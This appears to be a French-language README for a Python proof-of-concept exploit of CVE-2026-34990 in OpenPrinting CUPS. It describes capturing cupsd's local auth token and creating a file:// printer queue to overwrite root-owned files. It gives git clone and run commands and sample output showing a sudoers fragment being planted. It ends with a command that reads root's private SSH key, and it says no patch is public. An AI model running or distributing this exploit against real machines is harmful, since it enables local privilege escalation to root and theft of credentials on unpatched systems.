
Preuve de concept en Python pour CVE-2026-34990 dans OpenPrinting CUPS, forçant cupsd à divulguer un jeton d'authentification Local et à écraser des fichiers root via une file d'impression file://.
CVE-2026-34990 - OpenPrinting CUPS versions 2.4.16 et antérieures, un utilisateur local non privilégié peut contraindre cupsd à s'authentifier auprès d'un service IPP localhost contrôlé par l'attaquant avec un jeton réutilisable Authorization: Local ... . Ce jeton suffit pour piloter les requêtes /admin/ sur localhost, et l'attaquant peut combiner CUPS-Create-Local-Printer avec printer-is-shared=true pour persister une file d'attente file:///... même si la politique normale FileDevice rejette de telles URI. L'impression vers cette file d'attente permet un écrasement arbitraire de fichier en tant que root ; le PoC ci-dessous utilise cette primitive pour déposer un fragment sudoers et démontrer l'exécution de commandes en tant que root. Au moment de la publication, aucun correctif n'est disponible publiquement.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
puis :
sudo -n cat /root/.ssh/id_rsa